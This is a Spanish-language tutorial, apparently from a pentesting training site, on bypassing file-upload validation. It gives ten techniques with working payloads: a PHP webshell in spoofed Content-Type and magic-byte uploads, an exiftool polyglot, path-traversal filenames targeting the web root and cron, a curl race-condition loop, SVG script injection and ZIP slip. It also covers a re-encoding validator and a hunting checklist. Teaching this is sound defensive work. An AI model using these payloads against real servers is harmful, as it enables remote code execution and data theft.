Respuesta rápida
File upload vulnerable cuando el servidor acepta archivos sin validar correctamente su contenido y los sirve desde un path donde se ejecutan. RCE directo si subes una webshell a un directorio web servido por el motor (PHP, ASP, JSP). Los bypasses se centran en: extension list incompleta, content-type confiable, magic bytes spoofeables, doble extensión, null bytes, path traversal en filename, y race conditions en validators secuenciales.
El árbol de defensas
Un endpoint upload "seguro" debería validar:
- Extension del archivo (whitelist de extensiones permitidas).
- Content-Type (declarado en multipart).
- Magic bytes del contenido real.
- Tamaño máximo.
- Filename sanitization (no path traversal, no null bytes).
- Storage path no ejecutable (no servir desde el web root).
- Filename randomization (no permitir nombres del cliente).
Si CUALQUIERA falla, hay vector. La mayoría de apps fallan en al menos 2-3.
10 bypasses prácticos
1. Lista negra incompleta
Si bloquean .php pero no:
shell.phtml → ejecuta PHP en Apache con default config
shell.phar → archivo PHP
shell.pht → ejecuta como PHP
shell.php3 / .php4 / .php5 / .php7
shell.pHp → case sensitive en algunos
shell.php.png → con ApacheDoubleExt habilitado
2. Doble extensión
Cuando Apache se configura con AddHandler application/x-httpd-php .php:
shell.php.png → si Apache reconoce .php en cualquier punto del filename, ejecuta
shell.phar.png
3. Null byte (apps legacy)
shell.php%00.png → en parsers que usan funciones C, %00 corta el string
shell.php\x00.jpg
PHP < 5.3.4 vulnerable. Aún se ve en sistemas no parcheados.
4. Content-Type spoof
El cliente declara el Content-Type en multipart. Si el servidor solo confía en eso:
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png
<?php system($_GET['cmd']); ?>
Si solo valida Content-Type: image/*, pasa.
5. Magic bytes spoof
Si valida con magic bytes del PNG (\x89PNG):
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']); ?>
Algunos parsers solo miran los primeros 8 bytes. El resto se interpreta como PHP cuando se ejecuta como tal.
GIF también común:
GIF89a;
<?php system($_GET['cmd']); ?>
6. Polyglot files
Archivos válidos en dos formatos. Ej.: PHP+JPG válido para libimage pero también ejecutable como PHP:
# Crear polyglot
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" image.jpg
mv image.jpg shell.php # luego renombrar si extension permite
7. Path traversal en filename
Si el filename se escribe en un path:
filename = "../../../../var/www/html/shell.php"
filename = "../../etc/cron.d/exec"
filename = "..%2f..%2f..%2fvar%2fwww%2fhtml%2fshell.php"
Escribe en directorio arbitrario.
8. Race condition entre upload y validación
Algunos endpoints:
- Guardan el archivo.
- Lo escanean (antivirus, content check).
- Si falla, lo eliminan.
Si el archivo es servible HTTP entre paso 1 y paso 3, accede en esa ventana:
# Subir + acceder en bucle hasta que esté
while true; do curl https://target.tld/uploads/shell.php; done
9. SVG con script (subido como imagen)
SVG es XML. Permite <script> o <iframe> que ejecutan en el contexto del dominio que sirve la imagen:
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
Si la app sirve SVG sin sanitizar y se carga en página del propio dominio (avatar, logo) → Stored XSS.
10. ZIP slip / archive extraction
Si el upload es ZIP que se extrae server-side:
zip con archivo "../../../../etc/cron.d/exec"
Sin validación, escribe en filesystem arbitrario al extraer.
Validación de magic bytes — patrón correcto
def validate_image(file_bytes):
# Extender lista de magics esperados
magics = {
'png': b'\x89PNG\r\n\x1a\n',
'jpeg': b'\xff\xd8\xff',
'gif': b'GIF89a',
}
# Identificar tipo real
for fmt, magic in magics.items():
if file_bytes.startswith(magic):
# Re-encode con librería confiable para descartar payloads embebidos
from PIL import Image
from io import BytesIO
img = Image.open(BytesIO(file_bytes))
img.verify()
# Re-save (esto destruye payloads PHP embebidos)
output = BytesIO()
img.save(output, format=fmt.upper())
return output.getvalue()
raise ValueError("Not a valid image")
El truco clave: re-encodar la imagen tras validar. Eso destruye cualquier payload extraño embebido entre el magic byte y el final.
Otros impactos posibles (no solo RCE)
- Stored XSS vía SVG/HTML upload servido en mismo dominio.
- Account takeover si el avatar se sirve en
<img>y permite XSS → roba sesión. - DoS vía archivos masivos / ZIP bomb.
- Phishing si el dominio sirve PDFs que se confunden con originales.
- CSRF storage si el archivo se sirve como HTML+CSRF token.
Storage path correctly
Las apps modernas suelen:
- Subir a un bucket S3/GCS (no en el filesystem del web server).
- Servir vía CDN con dominio separado (
cdn.target.tldcon headers limitados). - Forzar
Content-Disposition: attachmentpara downloads (impide ejecución inline).
Cualquier desviación de esto = vector probable.
Hunting checklist
- ¿El endpoint valida solo extensión, solo content-type, o ambos?
- ¿Probar
.php,.phtml,.phar,.pht,.php5, mayúsculas mezcladas? - ¿Doble extensión
.php.png? (Apache mal configurado). - ¿Magic bytes spoofeable? Subir PNG válido + payload PHP al final.
- ¿SVG aceptado? Probar
<script>embebido. - ¿Path traversal en filename?
../../shell.php. - ¿Filename del cliente se respeta o se randomiza?
- ¿Storage path es servido por el web server con execution?
- ¿Race condition entre upload y antivirus/scan?
- ¿ZIP/archive uploads sin validar contenido extraído?
Labs relacionados
Practica los 10 bypasses contra apps reales con validación parcial: labs de File Upload.
Practica esto en un lab
File Upload
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
Headless browsers — SSRF y RCE en endpoints que renderizan URLs
Endpoints que aceptan URLs para screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) son SSRF goldmine: cloud metadata, file://, gopher://, JS injection con XSS-to-RCE en chromium sandbox.
SQL Injection — metodología completa con time-based, UNION y RCE
Detección por isomorphic queries, payloads time-based para 4 motores, escalación a RCE (xp_cmdshell, INTO OUTFILE, UDFs) y bypasses cross-field.
RCE en sandbox de Python — del editor de bots al shell del servidor
El sandbox de Python de una plataforma de IA no bloqueaba os.popen(). Dos líneas de Python para ejecutar comandos del sistema, leer variables de entorno y huellear el runtime.